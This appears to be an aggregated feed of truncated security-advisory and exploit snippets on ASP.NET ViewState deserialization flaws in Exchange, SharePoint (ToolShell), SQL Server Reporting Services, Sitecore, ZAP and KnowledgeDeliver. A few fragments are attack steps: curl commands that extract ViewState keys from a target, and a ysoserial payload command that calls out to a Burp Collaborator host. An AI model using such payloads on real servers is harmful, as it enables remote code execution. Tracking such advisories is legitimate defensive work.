CVE-2020-0688

CVE-2020-0688 Microsoft Exchange Server がインストール時に一意のキーを適切に生成できない場合、リモートコード実行の脆弱性が存在します。 検証キーを知っていると、メールボックスを持つ認証済みユーザーが、SYSTEM として実行される Web アプリケーションによって逆シリアル化される任意のオブジェクトを渡すことができます。 脆弱性について このバグは Exchange Control Panel ECP コンポーネントにあります。バグの性質は非常に単純です。インストールごとにランダムに生成されたキーを持つ代わりに、Microsoft Exchange...

CVE-2020-0618

CVE-2020-0618 SQL Server Reporting ServicesCVE-2020-0618のRCE 脆弱性検証POC 次のHTTPリクエストをサーバーに送信して、このアプリケーションを悪用できます: root@kitploit: POST /ReportServer/pages/ReportViewer.aspx HTTP/1.1 Host: target Content-Type: application/x-www-form-urlencoded Content-Length: X...

CVE-2025-53770-Scanner

CVE-2025-53770 スキャナー DanSec による CVE-2025-53770 の重要な SharePoint 脆弱性への潜在的な露出を特定するための、シンプルで効果的な偵察ツール。 !Warning このツールは、許可されたテスト目的のみに使用されることを意図しています。 作者（DanSec）は、無許可のスキャンや使用によって引き起こされる誤用や損害について一切責任を負いません。このツールを使用する前に、スキャン対象のドメインまたはサービスに対する明示的な許可を得てください。 CVE-2025-53770 について CVE-2025-53770（"ToolShell"）...

CVE-2025-30406

パート1: エクスプロイト root@kitploit: λ CVE-2025-30406.exe rce.txt...

CVE-2025-53770-Exploit

CVE-2025-53770-Exploit まず、対象のSharePointページからVIEWSTATEGENERATOR、VALIDATIONKEY、VALIDATIONALGの値を取得します： root@kitploit: curl -s https://target.com/layouts/15/start.aspx | grep -oP 'VIEWSTATEGENERATOR" value="\K^"+' curl https://target.com/layouts/15/spinstall0.aspx...

CVE-2020-0688

CVE-2020-0688 Microsoft Exchange Server 固定暗号鍵によるリモートコード実行 RCE インストールごとにランダムに生成されたキーを使用する代わりに、すべてのMicrosoft Exchange Serverインストールは、web.config内で同じ validationKey と decryptionKey の値を持っています。そのため、 認証された 攻撃者は、悪意を持って作成されたViewStateデータを逆シリアル化するようにサーバーを騙すことができます。YSoSerial.net...

CVE-2025-53690-Analysis

CVE-2025-53690: Sitecore ViewState Deserialization 脆弱性分析 概要 CVE-2025-53690 は、Sitecore 製品群で発見された ViewState 逆シリアル化脆弱性であり、公開された ASP.NET machine key を悪用してリモートコード実行が可能な致命的なセキュリティ脆弱性です。 基本情報 CVE ID : CVE-2025-53690 CVSS スコア : 9.0 Critical 脆弱性タイプ : 信頼できないデータの逆シリアル化 CWE-502 発見日 : 2025年9月 公開日 : 2025年9月3日...

Blackash-CVE-2025-53770

🧠 CVE-2025-53770 : クリティカルなSharePoint RCE脆弱性がViewState偽造を利用して悪用される 📌 脆弱性の概要 種類 : リモートコード実行 RCE CVSSスコア : 9.8 クリティカル コンポーネント : Microsoft SharePoint Server オンプレミス 根本原因 : 盗まれたASP.NET machineKey ValidationKeyおよびDecryptionKey を使用した ViewState データの安全でない逆シリアル化 悪用条件 : 認証不要 ステータス : 実際の環境で活発に悪用中 開示日 :...

sharepoint-toolshell-micro-postmortem

사고 마이크로 포스트모템 — Microsoft SharePoint 온-프레미스 “ToolShell” 캠페인 이 키트는 온-프레미스 Microsoft SharePoint Server를 대상으로 한 2025년 중반의 “ToolShell” 제로데이 캠페인을 분류합니다. SharePoint Online은 범위 밖입니다. 외부 데이터에 의존하지 않고 종단 간 재현 가능한 헌트, 커뮤니케이션, 수치를 제공합니다. 이 저장소가 존재하는 이유: 재현 가능한 탐지와 정렬된 경영진 커뮤니케이션으로 분석가 분류 작업을 가속화합니다. 범위 및 가정...

cve-2020-0688

cve-2020-0688 cve-2020-0688 メールアドレス権限を持つユーザーでログインしても問題はありません。 ページソースから VIEWSTATEGENERATOR を取得 viewstateuserkey 値のために ASP.NETSessionId クッキーの値を取得 YSOをダウンロード root@kitploit: ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "nslookup teasdas.myburpcollab.net" --validationalg="SHA1"...

CVE-2026-57527 ZAP ViewState Add-on Insecure Deserialization via JSFViewState.decode()

Zed Attack Proxy ZAP ViewState add-on before version 4 contains an insecure deserialization vulnerability that allows attackers who control a proxied web server to achieve arbitrary code execution by embedding a malicious serialized Java object in the javax.faces.ViewState HTTP response parameter...

PT-2026-52794

Zed Attack Proxy ZAP ViewState add-on before version 4 contains an insecure deserialization vulnerability that allows attackers who control a proxied web server to achieve arbitrary code execution by embedding a malicious serialized Java object in the javax.faces.ViewState HTTP response parameter...

KnowledgeDeliver LMS Flaw Exploited to Deploy Godzilla and Cobalt Strike

A now-patched high-severity security flaw affecting Digital Knowledge KnowledgeDeliver, a Learning Management System LMS popular in Japan, was exploited as a zero-day to deliver the Godzilla web shell and ultimately facilitate the deployment of Cobalt Strike Beacon. The vulnerability, tracked as...

VulnCheck KEV: CVE-2026-5426

Hard-coded ASP.NET/IIS machineKey value in Digital Knowledge KnowledgeDeliver deployments prior to February 24, 2026 allows adversaries to circumvent ViewState validation mechanisms and achieve remote code execution via malicious ViewState deserialization attacks...

CVE-2026-5426

Hard-coded ASP.NET/IIS machineKey value in Digital Knowledge KnowledgeDeliver deployments prior to February 24, 2026 allows adversaries to circumvent ViewState validation mechanisms and achieve remote code execution via malicious ViewState deserialization attacks...

EUVD-2026-23271

Hard-coded ASP.NET/IIS machineKey value in Digital Knowledge KnowledgeDeliver deployments prior to February 24, 2026 allows adversaries to circumvent ViewState validation mechanisms and achieve remote code execution via malicious ViewState deserialization attacks...

CVE-2026-5426

Hard-coded ASP.NET/IIS machineKey value in Digital Knowledge KnowledgeDeliver deployments prior to February 24, 2026 allows adversaries to circumvent ViewState validation mechanisms and achieve remote code execution via malicious ViewState deserialization attacks...

CVE-2026-5426

Hard-coded ASP.NET/IIS machineKey value in Digital Knowledge KnowledgeDeliver deployments prior to February 24, 2026 allows adversaries to circumvent ViewState validation mechanisms and achieve remote code execution via malicious ViewState deserialization attacks...

CVE-2026-5426 KnowledgeDeliver deployments before February 24, 2026 use a static ASP.NET/IIS machineKey value

Hard-coded ASP.NET/IIS machineKey value in Digital Knowledge KnowledgeDeliver deployments prior to February 24, 2026 allows adversaries to circumvent ViewState validation mechanisms and achieve remote code execution via malicious ViewState deserialization attacks...

CVE-2026-5426: Use of Hard-coded Cryptographic Key

Hard-coded ASP.NET/IIS machineKey value in Digital Knowledge KnowledgeDeliver deployments prior to February 24, 2026 allows adversaries to circumvent ViewState validation mechanisms and achieve remote code execution via malicious ViewState deserialization attacks...